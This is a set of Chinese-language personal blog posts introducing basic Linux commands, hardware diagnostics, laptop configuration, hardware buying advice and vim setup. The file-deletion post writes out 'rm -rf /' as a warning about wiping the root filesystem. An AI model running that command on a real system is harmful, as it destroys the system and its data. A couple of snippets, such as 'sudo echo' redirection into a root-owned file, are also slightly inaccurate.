/home/pollochang 假設今天有個文件在下載目錄底下\n1 /home/pollochang/下載/ 則可以輸入下列指令到達\n1 2 3 pollochang@pollochangWorking:~$ cd 下載 pollochang@pollochangWorking:~$ cd ~/下載 pollochang@pollochangWorking:~$ cd /home/pollochang/下載/ 上面三個指令雖然達到的目的雖然是相同，但是方法卻不同。\n還記得剛剛一開始登入的絕對路徑是\n1 /home/pollochang 而下載的絕對路徑是\n1 /home/pollochang/下載/ 第一個方式是在目前的路徑下開啟下載。\n第二個方式是在家目錄下開啟下載。小蚯蚓[~]符號代表家目錄的意思。\n第三個方式則是從根目錄依敘述路徑開啟下載。\n會介紹這三種方式，主要是在如果有機會寫腳本記得，有下cd指令時記得用絕對路徑描述要開啟的資料夾，不然腳本檔很有可能會在執行的過程中發生錯誤。\n檢視目錄內容 ls # 進入到下載的目錄中，我們想要知道目錄底下有哪些檔案時就可已透過ls知道\n1 2 3 pollochang@pollochangWorking:~$ ls 1624615269877.pdf zxing-j2se-1.7.zip 另外，ll可以提供檔案使用權限 更動資訊等詳細資訊\n1 2 3 4 pollochang@pollochangWorking:~$ ls 總計 12341 -rw-r--r-- 1 pollochang pollochang 1818 6月 25 18:01 test.txt -rw-r--r-- 1 pollochang pollochang 1818 6月 25 18:11 zxing-j2se-1.7.zip 但是在 Debian 系列的發行板通常是沒有 ll，需要到 ~/.bashrc 設定別名。如下：\n1 alias ll=\u0026#39;ls -a\u0026#39; 設定完重新讀取參數即可。\n1 source ~/.bashrc 以上就是對於目錄長操作的指令，接下來會針對檔案介紹幾個常用的指令。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/013-%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4%E4%B8%80/","section":"Posts","summary":"我的Linux生活日記 13.常用指令(一) # 學習Linux 當中，用圖形界面是我依開始接觸的起步方式，但是我當初會接觸Linux 的原因是工作關係，加上在網路上的資源大多數是以CLI 為操作界面，所以如何透過文字界面操作就變成我在學習路上必經的過程。\n","title":"我的Linux生活日記 13.常用指令(一)","type":"post"},{"content":" 將文件內容輸出到終端機 cat # 如果需要檢視文件內容，而且輸入到終端機畫面可以使用cat\n1 2 3 4 jameschang@JamesChangNB:~/下載$ cat test.txt 測試文字 english 將文件內容輸出到終端機 more # 如果文件比較大，如 20MB 用 more 可以用作為輸出緩衝，讓終端機不會一下輸出所有文件內容。\n1 more /var/log/tomcat/catalina.out 將文件內容輸出到終端機 tail # 可以作為日誌文件輸出工具\n1 tail -f /var/log/tomcat/catalina.out 搜尋文件內容 grep # 如果需要搜尋文件內容關鍵字可以使用grep，用法如下：\n1 2 3 jameschang@JamesChangNB:~/下載$ cat test.txt | grep english english # [文件內容] | grep [關鍵字] 編輯文件工具 vim # 在linux 中常內建的文字編輯器是vi或是vim，用法如下\n1 jameschang@JamesChangNB:~/下載$ vim test.txt 常用快捷鍵\n:w -\u0026gt; 儲存\n:q -\u0026gt; 離開\n:q! -\u0026gt; 不儲存直接離開\ni -\u0026gt; 編輯\n:wq -\u0026gt; 儲存後離開\ndd -\u0026gt; 刪除該行文字\nyy -\u0026gt; 複製該行文件\np -\u0026gt; 複製文字後，將複製內容輸入選擇的下行\nP -\u0026gt; 複製文字後，將複製內容輸入選擇的上行\n複製文件 cp # 複製文件的指令另為cp，用法如下：\n1 2 3 4 5 6 jameschang@JamesChangNB:~/下載/test$ ls test.aa jameschang@JamesChangNB:~/下載/test$ cp test.aa ggg.txt jameschang@JamesChangNB:~/下載/test$ ls aa.aa ggg.txt test.aa # cp [要複製的文件] [複製的目的地] 移動文件/更新文件名稱 mv # 在linux 當中如果是要移動文件，指令是mv，如果是重新命名文件也是用這個指令。\n1 2 3 4 5 6 jameschang@JamesChangNB:~/下載/test$ ls aa.aa ggg.txt test.aa jameschang@JamesChangNB:~/下載/test$ mv test.aa text.txt jameschang@JamesChangNB:~/下載/test$ ls aa.aa ggg.txt text.txt # mv [要移動的文件] [移動的目的地] 壓縮/解壓縮文件 zip # 文件壓縮工具有很多，其中 zip 壓縮工具是比較常見的，使用方式如下\n1 2 3 4 5 jameschang@JamesChangNB:~/下載/test$ zip text.zip text.txt adding: text.txt (stored 0%) jameschang@JamesChangNB:~/下載/test$ ls aa.aa ggg.txt text.txt text.zip # zip [壓縮後的文件名稱] [要被壓縮的文件/目錄] 解壓縮至指定目錄 1 unzip -q FileName.zip -d /[解壓縮目的路徑] 壓縮/解壓縮文件 tar.gz # 解壓縮 1 tar -zxf FileName.tar.gz 解壓縮至指定目錄 1 tar -C /[解壓縮目的路徑] -zxf FileName.tar.gz 壓縮 1 tar zcf FileName.tar.tgz [壓縮目的路徑/文件] 刪除文件 rm # rm是刪除指令\n1 2 3 4 5 6 7 8 jameschang@JamesChangNB:~/下載/test$ rm text.zip jameschang@JamesChangNB:~/下載/test$ ls aa.aa ggg.txt text.txt # rm [要刪除的文件] # 常用參數選項 # -r 刪除選擇目錄底下的文件及目錄 # -f 不詢問直接刪除 胖手指 rm -rf / # 1 rm -rf / 這調指令的意思就是「安靜且遞迴刪除根目錄底下的文件」，只要下這個指令系統就會逐漸垮掉唷！\n參考資料 # GNU / Linux 各種壓縮與解壓縮指令\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/014-%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4%E4%BA%8C/","section":"Posts","summary":"將文件內容輸出到終端機 cat # 如果需要檢視文件內容，而且輸入到終端機畫面可以使用cat\n","title":"我的Linux生活日記 13.常用指令(二)","type":"post"},{"content":" 我的Linux生活日記 15.系統檢測工具 # 今天我整理一下之前自己在Linux 家用或工作主機上檢視統硬體的方法。\nCPU # lscpu # lscpu可以取得CPU的架構(x86, x86_64\u0026hellip;等等)、核心數量、執行緒數量、頻率(從不同核心的運行頻率中挑選最大的來顯示)和快取大小。使用方法很簡單，直接在終端機輸入以下指令即可\n1 lscpu 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 \u0026gt; $ lscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian Address sizes: 39 bits physical, 48 bits virtual CPU(s): 4 On-line CPU(s) list: 0-3 Thread(s) per core: 2 Core(s) per socket: 2 Socket(s): 1 NUMA node(s): 1 Vendor ID: GenuineIntel CPU family: 6 Model: 78 Model name: Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz Stepping: 3 CPU MHz: 2884.014 CPU max MHz: 3000.0000 CPU min MHz: 400.0000 BogoMIPS: 4992.00 Virtualization: VT-x L1d cache: 32K L1i cache: 32K L2 cache: 256K L3 cache: 3072K NUMA node0 CPU(s): 0-3 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities cpuinfo # Linux系統會將部分CPU的資訊即時地存在於記憶體中，對應的檔案路徑在「/proc/cpuinfo」，可以使用以下指令來查看這個檔案路徑所儲存的內容\n1 cat /proc/cpuinfo 執行結果 我這邊就不放了，因為他會把每一顆核心詳細資訊列出。\n查看CPU的運行頻率 # 1 cat /proc/cpuinfo | grep MHz 1 2 3 4 5 $ cat /proc/cpuinfo | grep MHz cpu MHz : 2100.008 cpu MHz : 2098.189 cpu MHz : 2100.010 cpu MHz : 2099.967 如果想要每秒自動取得目前的CPU頻率 # 1 watch -n 1 \u0026#34;cat /proc/cpuinfo | grep MHz\u0026#34; sensors # 安裝 # 1 sudo apt install lm-sensors 設定 # 1 yes | sudo sensors-detect 查看CPU的溫度 # 1 watch -n 1 \u0026#34;sensors\u0026#34; 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 iwlwifi_1-virtual-0 Adapter: Virtual device temp1: +35.0°C dell_smm-virtual-0 Adapter: Virtual device fan1: 3504 RPM acpitz-acpi-0 Adapter: ACPI interface temp1: +25.0°C (crit = +107.0°C) coretemp-isa-0000 Adapter: ISA adapter Package id 0: +48.0°C (high = +100.0°C, crit = +100.0°C) Core 0: +47.0°C (high = +100.0°C, crit = +100.0°C) Core 1: +46.0°C (high = +100.0°C, crit = +100.0°C) pch_skylake-virtual-0 Adapter: Virtual device temp1: +46.0°C 硬碟健康檢測 # 自從我工作的電腦 nvme SSD 硬碟無預警壞掉之後，我就在想有什麽工具可以知道SSD健康度，後來我找到這兩款：smartmontools nvme-cli\nsmartmontools # smartmontools可以檢測 SATA 介面， nvme 介面無法\n安裝 # 1 sudo apt install smartmontools 使用方式 # 支援畫面 1 2 3 $ sudo smartctl -i /dev/sdb | grep \u0026#34;SMART support is\u0026#34; SMART support is: Available - device has SMART capability. SMART support is: Enabled 不支援畫面 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ sudo smartctl -i /dev/nvme0n1 smartctl 7.2 2020-12-30 r5155 [x86_64-linux-5.10.0-13-amd64] (local build) Copyright (C) 2002-20, Bruce Allen, Christian Franke, www.smartmontools.org === START OF INFORMATION SECTION === Model Number: XPG GAMMIX S50 Lite Serial Number: 2K462LQJ9JR7 Firmware Version: 82A7T9PA PCI Vendor/Subsystem ID: 0x1cc1 IEEE OUI Identifier: 0x486834 Controller ID: 0 NVMe Version: 1.4 Number of Namespaces: 1 Namespace 1 Size/Capacity: 1,024,209,543,168 [1.02 TB] Namespace 1 Utilization: 67,701,051,392 [67.7 GB] Namespace 1 Formatted LBA Size: 512 Local Time is: Mon Apr 11 09:42:11 2022 CST nvme-cli # nvme-cli 只能支援 nvme 介面\n安裝 # 1 sudo apt install nvme-cli 檢視 nvme 介面列表 # 1 2 3 4 $ sudo nvme list Node SN Model Namespace Usage Format FW Rev ---------------- -------------------- ---------------------------------------- --------- -------------------------- ---------------- -------- /dev/nvme0n1 202628D66F33 CT500P1SSD8 1 500.11 GB / 500.11 GB 512 B + 0 B P3CR021 檢視nvme硬碟詳細資訊 # 1 sudo watch -n 1 nvme smart-log /dev/nvme0n1 # 動態檢視 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ sudo nvme smart-log /dev/nvme0n1 Smart Log for NVME device:nvme0n1 namespace-id:ffffffff critical_warning : 0 temperature : 33 C available_spare : 100% available_spare_threshold : 5% percentage_used : 1% data_units_read : 4,457,364 data_units_written : 6,119,233 host_read_commands : 65,279,454 host_write_commands : 101,740,695 controller_busy_time : 2,024 power_cycles : 880 power_on_hours : 2,525 unsafe_shutdowns : 160 media_errors : 0 num_err_log_entries : 264 Warning Temperature Time : 0 Critical Composite Temperature Time : 0 Temperature Sensor 1 : 33 C Thermal Management T1 Trans Count : 0 Thermal Management T2 Trans Count : 0 Thermal Management T1 Total Time : 0 Thermal Management T2 Total Time : 0 其他 # 檢查USB 等設備 # 1 udevadm monitor 執行結果 1 2 3 4 5 6 7 KERNEL[3434.892293] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3434.893220] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) KERNEL[3434.893454] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) UDEV [3434.935105] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3435.021095] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2 (scsi) KERNEL[3435.022326] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2/scsi_host/host2 (scsi_host) KERNEL[3435.022768] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) 檢查 SCSI 總線上有哪些串流設備 # 1 sudo lsscsi 執行結果 1 2 [2:0:0:0] disk General UDisk 5.00 /dev/sda [N:0:0:1] disk CT500P1SSD8__1 /dev/nvme0n1 參考資料 # Ubuntu監測nvme ssd溫度及健康狀況\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/015-%E7%B3%BB%E7%B5%B1%E6%AA%A2%E6%B8%AC%E5%B7%A5%E5%85%B7/","section":"Posts","summary":"我的Linux生活日記 15.系統檢測工具 # 今天我整理一下之前自己在Linux 家用或工作主機上檢視統硬體的方法。\n","title":"我的Linux生活日記 15.系統檢測工具","type":"post"},{"content":" 我的Linux生活日記 16.筆電環境設定 # Linux 除了安裝在桌面主機或是虛擬中，我已經把Linux 安裝在筆電裡三四年了，儼然已經成了我日常生活的一部分。在使用的經驗，筆電需要設定一些事項在使用上會比較順手，也或許我挑選的發行板是 Debian 相較 Ubuntu 較陽春需要堆花一點心思。\n觸控手勢-fusuma # 如果你是把Ubuntu安裝在筆記行電腦中，在操作的過程中多窩少少會需要依賴觸控板，這邊我還蠻推薦 fusuma 這套軟體。因為這挑可以自由的設定觸控板手勢。然而在 Gnome 42 以後觸控手勢我覺的已經可以不用另外設定了，預設就已經很好用。\n安裝指令如下：\n1 2 3 4 5 6 7 sudo apt-get install libinput-tools sudo apt-get install ruby sudo gem install fusuma sudo apt-get install xdotool gsettings set org.gnome.desktop.peripherals.touchpad send-events enabled mkdir -p ~/.config/fusuma ＃建立觸控板手勢參數檔 vim ~/.config/fusuma/config.yml #設定觸控板手勢 安裝完成之後將設定輸入到 ~/.config/fusuma/config.yml，下面試我自己行慣的設定\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 swipe: 3: left: command: \u0026#39;xdotool key alt+Left\u0026#39; #上一個歷程 right: command: \u0026#39;xdotool key alt+Right\u0026#39; #下一個歷程 up: command: \u0026#39;xdotool key super+Up\u0026#39; #開新分頁 down: command: \u0026#39;xdotool key super+Down\u0026#39; #關閉程式 4: left: command: \u0026#39;xdotool key super+Right\u0026#39; #將視窗移至右邊 right: command: \u0026#39;xdotool key super+Left\u0026#39; #將視窗移至左邊 up: command: \u0026#39;xdotool key super+a\u0026#39; #顯示應用程式 down: command: \u0026#39;xdotool key super\u0026#39; #顯示概覽 pinch: 2: in: command: \u0026#39;xdotool key ctrl+plus\u0026#39; #縮小 threshold: 0.1 out: command: \u0026#39;xdotool key ctrl+minus\u0026#39; #放大 threshold: 0.1 threshold: swipe: 0.1 pinch: 0.1 interval: swipe: 0,1 pinch: 0.1 設定完成之後可以輸入下面這條指令確認設定是不是符合你自己需要的\n1 2 sudo fusuma #啟動試試看是不是符合你的操作 sudo fusuma -d # -d代表背景執行 最後在將設定設定為啟動gome 桌面時自動啟動 fusuma\n1 gnome-session-properties #設定啟動game桌面的參數 關閉休眠 # 這部份我也會在我的工作機上面設定，主要是Debian 安裝 Gnome 桌面系統在開機未完成登入之前，超過五分鐘就會進入休眠狀態。\n1 sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target 接上滑鼠自動關閉觸控板 # 這個功能對我來說非常重要，因為打字時我的手總是不小心碰到觸控板。\nTouchpad Indicator 設定蓋上不進入休眠狀態 # 這部份很重要,因為使用筆電的過程中暫時離開座位，為了避免毛小孩偷襲就會把筆電蓋上。但是有不希望暫時蓋上筆電就進入休眠狀態，可以這樣設定，如下：\n設定 1 2 # vim /etc/systemd/logind.conf HandleLidSwitch=ignore 重起登入 1 systemctl restart systemd-logind 讀取 iphone 資料-iFuse # 安裝 iFuse # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 jameschang@debian:~$ sudo apt-get install ifuse Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: ifuse 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 15.7 kB of archives. After this operation, 48.1 kB of additional disk space will be used. Get:1 http://deb.debian.org/debian bullseye/main amd64 ifuse amd64 1.1.4~git20181007.3b00243-1 [15.7 kB] Fetched 15.7 kB in 2s (7,099 B/s) Selecting previously unselected package ifuse. (Reading database ... 335631 files and directories currently installed.) Preparing to unpack .../ifuse_1.1.4~git20181007.3b00243-1_amd64.deb ... Unpacking ifuse (1.1.4~git20181007.3b00243-1) ... Setting up ifuse (1.1.4~git20181007.3b00243-1) ... Processing triggers for man-db (2.9.4-2) ... 掛載 # 選擇或新造要掛載的目錄 1 jameschang@debian:~$ mkdir ~/iphone 掛載 1 jameschang@debian:~$ ifuse ~/iphone 以上就是我在筆電中，每次重新安裝一定會用到的設定。\n參考資料 # [Ubuntu] 讓筆電闔上螢幕後不休眠\nlogind.conf, logind.conf.d - 登陸管理器配置文件\nLinux 修改合上筆記本蓋子和按下電源按鈕鎖定螢幕\nfusuma\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/016-%E7%AD%86%E9%9B%BB%E7%92%B0%E5%A2%83%E8%A8%AD%E5%AE%9A/","section":"Posts","summary":"我的Linux生活日記 16.筆電環境設定 # Linux 除了安裝在桌面主機或是虛擬中，我已經把Linux 安裝在筆電裡三四年了，儼然已經成了我日常生活的一部分。在使用的經驗，筆電需要設定一些事項在使用上會比較順手，也或許我挑選的發行板是 Debian 相較 Ubuntu 較陽春需要堆花一點心思。\n","title":"我的Linux生活日記 16.筆電環境設定","type":"post"},{"content":" 我的Linux生活日記 17.Linux主機選購(一) # 今天不探究技術，來講點生活方的問題吧：我想買一台Linux主機在我的家裡用,主機要怎選?\n其實會問這句話或是這一類的問題，通常對自己的電腦使用需求有一定的了解程度，但是對硬體方面也許就不太熟悉。\n但是在分析這個問題之前，先把需求退回到初始的層次：為什麼要買電腦？\n為什麼要買電腦？ # 學生時期 # 我記得在大學的時候有問學校老師，我要買什麼規格的電腦？當時老師就先回問我：我買電腦要做什麼？我回：為了要做作業呀！\n做作業 我讀的是資訊傳播學系，在四年的課綱中會學到 修圖、影片剪輯、Java 程式開發、網頁開發、做文書報告等等方面，所以用到的軟體可能有 Adobe photoshop、 Adobe premiere、JDK、Office 等。這邊我是已我過去的經歷做比喻，詳細還是要看各位學校課綱規劃。\n玩遊戲 我一直都是坦克世界的愛好者，所以我希望電腦可以玩。\n上網 這個不用說了吧，在家一定會打開電腦看影片，螢幕比手機大看得比較爽。(別想歪)\n以上就是我在大學時期的主要需求。透過以上需求可以分析會用的軟體\nAdobe photoshop Adobe premiere JDK Office 坦克世界 瀏覽器 為了回應依開始的問題 「我想買一台Linux主機在我的家裡用,主機要怎選?」\n首先必須先調查上述這些軟體有做 Linux 支援？像是 Adobe 、坦克世界 、MS Office 一定是沒有的。\n接下來就是探究沒有做 Linux 支援的話，在 Linux 有對應功能體？像是 Adobe photoshop 是 GIMP、Adobe premiere 是 Kdenlive 或是OpenShot、 MS Office 是 LiberOffice\n最後是沒有支援 Linux 的部份。通常知名遊戲或是3A大作只有支援 windows ，像是上面提到的 坦克世界 。\n清楚知道哪些軟體可以支援Linux 的狀況後，接下來就是問問自己真的一定只要使用Linux？或許在學生時期用 windows 會比較好，因為可以打很多遊戲。對後面這句話才是重點！因為再大學生時期我有把電腦安裝 ubuntu過，過了三天的新鮮感後就安裝回 windows 了，最大原因是我想打的遊戲只有在windows出現。\n工作時期 # 到了工作接段，買什麼電腦很看重工作環境。有人是作行政，需要長時間在外的業務、經理、長期在辦公桌期的軟體工程師等等。對電腦的需求不盡相同。以下我就對幾點提出。\n長效、省電 講到長效省電，一定是windows 商業筆電 或是 MacBook 比較好。在 Linux 的筆電通常不是吃香，主要是驅動軟體的支援度，除非是選擇 DELL、HP、Lenovo 等商務筆電有支援 Linux 型號在不插電的狀況下會比就久。是多久，我是沒有實測過。\n文書行政 文書行政類的工作仍然推薦使用 windows 比較好，因為目前在各個公家機關仍然是以微軟系列作為行政文書作業的軟體主流。LiberOfiice 會遇到與 MS Office 排版不同的問題，會很痛苦。\n軟體開發類 這部份就看個人的工作面向而定。以我的工作項目主要是網站開發、系統佈屬，而網站系統以Linux 為主，自然就以 Linux 會比較順手以減少作業系統轉換的工作精神損耗。畢竟在編輯系統文件時可以不用碰到該死的換行格式不同造成系統無啟動的風險，我是在說 yaml 檔。\n所以在工作時期要選擇使用什麼作業系統，有很大依部份因素是看工作內容而定。那Linux主機怎選之前，先問問自己在生活上有什麼因素限制作業系統的選擇？ 如果沒有，又很想嘗試看看 Linux ，明天就待我分享當初嘗鮮到跳坑的歷程吧。\n自行組裝電腦 # 老實說目前市面販售的硬體絕大部分都可以讓 Linux 正常運作，即使買零件自行組裝也不是問題。只要不是買太冷門的零件盡量買耳熟能詳的就可以。\n主機板：技嘉、華碩、華擎。 記憶體：三星、創見、芝奇、十銓\u0026hellip;\u0026hellip;等。 其實比較保險選擇硬體零件的方式事先去各場昌的官網上查詢有提供 Linux 驅動，以下是我之前買電腦整理的。\nIntel® 無線網路卡: https://www.intel.com.tw/content/www/tw/zh/support/articles/000005511/wireless.html realtek: https://www.realtek.com/zh-tw/downloads nvidia: https://www.nvidia.com/zh-tw/drivers/unix/ AMD Radeon™ 顯示卡: https://www.amd.com/zh-hant/support/linux-drivers 在各個發行板的論壇上也會有人詢問硬體規格的支援，如果硬體官網沒有很明確釋出 Linux 版本可以先去論壇上找找看有人用過\narchlinux: https://bbs.archlinux.org/ kali: https://www.kali.org/get-kali/#kali-arm fedora: https://fedora-tw.org/ 購買筆記型電腦 # 因為筆記型電腦不像是自行組裝一樣，在零組件選擇上沒有如此自由，所以購買實惠盡量挑選本身就會標榜支援Linux 的品牌型號。例如下列：\nDELL Latitude DELL Precision Lenovo IdeaPad Lenovo ThinkPad 在 Lenovo 官方網站中就有明確列出哪些是有對 Linux 支援的。\nhttps://support.lenovo.com/tw/zh/solutions/pd031426\n另外在社群中也有人分享自己是用那一款型號運行那一個 Linux 發行版本：Linux on Laptops\n在台灣也有人做 Linux 個人電腦販售，先說好我沒有收他們的廣告費，只是覺的做小眾市場的店家加上又符合我的胃口可以推一下：LinuxYes 競陽科技。\n當然，不想花多金錢也可以買一台二手的玩玩看。像我自己就是買一台二手的使用，雖然機型是舊了一些，但是至少可以降低學習的金錢成本，等到對於Linux 熟悉之後再買自己喜歡的規格也是不錯的選擇。\n以上就是我在跳入 Linux 個人電腦領域的一點小心得。其實會寫這篇主要是想到當初進入時，在台灣是相對極小眾，身邊有沒有人使用過這樣的案例，多多少少會有些害怕。怕如果投入了，失敗怎辦？我要怎麼挑零組件，會不會挑到不支援的？\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/017-linux%E4%B8%BB%E6%A9%9F%E9%81%B8%E8%B3%BC/","section":"Posts","summary":"我的Linux生活日記 17.Linux主機選購(一) # 今天不探究技術，來講點生活方的問題吧：我想買一台Linux主機在我的家裡用,主機要怎選?\n","title":"我的Linux生活日記 17.Linux主機選購(一)","type":"post"},{"content":" 我的Linux生活日記 19.來看看文字編輯工具-vim # 使用電腦一定會用到文字編輯工具，在熟悉的微軟世界是記事本，那在Linux 是什麼呢？Text Editor，是我第一次使用的工具，同時也是Gnome桌面預設的文字編輯工具。不過還有很多種類下就帶大家看看有哪些。\n視窗 # Gnome Text Editor # 這是從 ubuntu 開始接觸 Linux 會碰到的文字編輯工具，功能跟微軟的記事本一樣簡單容易上手，而且也用語法亮度顯示，到現在開發還是會當作輔助工具。\nnotepadqq # 作為一個工程師常常需要打開不同語言的腳本，原本在windows我自己是習慣使用Notepad++，但是踏進linux之後發現Notepad++ 只能透過wine執行，後來我在網路上找到了 notepadqq ，下面是在Debian安裝的方式：\n新增下面兩個資套件來源 1 2 3 sudo touch /etc/apt/sources.list.d/notepadqq.list sudo echo \u0026#34;deb http://ppa.launchpad.net/notepadqq-team/notepadqq/ubuntu trusty main\u0026#34; \u0026gt;\u0026gt; /etc/apt/sources.list.d/notepadqq.list sudo echo \u0026#34;deb-src http://ppa.launchpad.net/notepadqq-team/notepadqq/ubuntu trusty main\u0026#34; \u0026gt;\u0026gt; /etc/apt/sources.list.d/notepadqq.list 新增公鑰 1 sudo apt-key adv --recv-key --keyserver keyserver.ubuntu.com 63DE9CD4 更新並安裝 1 sudo apt update \u0026amp;\u0026amp; sudo apt -y install notepadqq 終端機 # vi # vi 是大部分 Linux 發行版本在終端機裡一定有的文字編輯工具，級是在最小安裝版本也會有。在使用上有三個模式：\n一般模式 進入vi 之後就是一般模式，在這個模式下可以瀏覽文件內容。除了瀏覽文件內容以外還可以進行剪下整行、複製整行等工作\n剪下整行: 鍵盤直接輸入 dd\n複製整行: 鍵盤直接輸入 yy\n將剛剛剪下/複製的內容插入到下一行: pp\n將剛剛剪下/複製的內容插入到上一行: PP\n編輯模式 在一般模式下輸入i就可以進入編輯模式，在這個模式中就可以打字啦\n指令列模式 在一般模式下輸入:就可以進入指令列模式，比較常用的功能像儲存、關閉文件並離開\n儲存: 鍵盤直接輸入 w\n強制儲存: 鍵盤直接輸入 w!\n關閉文件並離開: 鍵盤直接輸入 q\n強制關閉文件並離開: 鍵盤直接輸入 q!\n當然也可以做儲存後關閉: 鍵盤直接輸入 wq\nvim # vim 是 vi 的加強版，也是我自己比較長使用的文字編輯工具，主要是他有支援豐富的語法亮度，還有很多外掛可以用，所以明天我會介紹我的配置啦！\n接下來分享我自己在工作機上常用的 vim設定，我沒有設定得很複雜，能讓文件簡單清楚顯示就是我的目標。畢竟我沒有打算將 vim 變成 IDE的夢想。\n命令列模式 # 1 :%s/search_from/replace_to/g vimrc 個人化設定 # 註解 # 註解 \u0026quot; 雙引號\n1 \u0026#34; 這是註解 用空格代替Tab鍵 # 有時候撰寫 yaml 文件就會手癢按下 tab ，我覺的這個功能對我來說非常重要。\n1 set et \u0026#34; expandtab,用空格代替Tab鍵 語法識別 # 會自動識別語法，我想是依據副檔名吧。\n1 syntax enable 顯示游標所在的列 # 1 set cursorline 顯示游標所在的行 # 1 set cursorcolumn 自動判斷編碼 # 打開未知的中文文件編碼非常重要，不然會出現一片亂碼。\n1 2 3 4 5 6 7 8 9 \u0026#34; 自動判斷編碼 set fileencodings=utf-8,utf-16,big5,gb2312,gbk,gb18030,euc-jp,euc-kr,latin1 if has(\u0026#34;multi_byte\u0026#34;) else echoerr \u0026#34;If +multi_byte is not included, you should compile Vim with big features.\u0026#34; endif set encoding=utf-8 顯示行號 # 雖然 vim 右下角忌諱顯示行號，但是在每行的左邊要跟 PM 或是跟同事溝通時會比較方便。\n1 set nu 自動換行 # 1 set wrap \u0026#34; 自動換行 插件 # 套件管理工具 # 下載管理工具 1 git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim 執行安裝 1 vim +PluginInstall 腳本 1 2 3 4 5 6 7 8 9 10 11 12 \u0026#34; Vundle start set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() \u0026#34; Your plugin start \u0026#34; Your plugin end call vundle#end() \u0026#34; required filetype plugin indent on \u0026#34; required \u0026#34; Vundle end Markdown # 常常用 markdown 作筆記下面這幾個套件很實用。\n安裝 1 2 3 Plugin \u0026#39;gabrielelana/vim-markdown\u0026#39; Plugin \u0026#39;tyru/open-browser.vim\u0026#39; Plugin \u0026#39;kannokanno/previm\u0026#39; NERDTree # 安裝 1 Plugin \u0026#39;preservim/nerdtree\u0026#39; NERDTree 快捷鍵 1 2 3 4 ctrl + w + h 光標 focus 左側樹形目錄 ctrl + w + l 光標 focus 右側文件顯示窗口 ctrl + w + w 光標自動在左右側窗口切換 ctrl + w + r 移動當前窗口的佈局位置 我自己常用的設定 # 最後附上我自己的設定\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 \u0026#34; 個人化設定 set et \u0026#34; expandtab,用空格代替Tab鍵 set background=dark set cursorline \u0026#34; 顯示游標所在的列 set cursorcolumn \u0026#34; 顯示游標所在的行 set wrap \u0026#34; 自動換行 set nu \u0026#34; 自動換行 set t_Co=256 \u0026#34; 指定 vim 的顏色 \u0026#34; 自動判斷編碼 set fileencodings=utf-8,utf-16,big5,gb2312,gbk,gb18030,euc-jp,euc-kr,latin1 if has(\u0026#34;multi_byte\u0026#34;) else echoerr \u0026#34;If +multi_byte is not included, you should compile Vim with big features.\u0026#34; endif set encoding=utf-8 \u0026#34; Vundle start set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() \u0026#34; let Vundle manage Vundle, required Plugin \u0026#39;VundleVim/Vundle.vim\u0026#39; Plugin \u0026#39;vim-airline/vim-airline\u0026#39; \u0026#34; Your plugin start \u0026#34; NERDTree autocmd vimenter * NERDTree \u0026#34; 自動開啟Nerdtree let g:NERDTreeWinSize = 25 \u0026#34; 設定 NERDTree 視窗大小 map \u0026lt;F5\u0026gt; :NERDTreeToggle\u0026lt;CR\u0026gt; \u0026#34; 開啟/關閉nerdtree快捷鍵 autocmd vimenter * if !argc()|NERDTree|endif \u0026#34; 開啟vim時如果沒有檔案自動開啟NERDTree autocmd bufenter * if (winnr(\u0026#34;$\u0026#34;) == 1 \u0026amp;\u0026amp; exists(\u0026#34;b:NERDTree\u0026#34;) \u0026amp;\u0026amp; b:NERDTree.isTabTree()) | q | endif \u0026#34;當NERDTree為剩下的唯一視窗時自動關閉 let 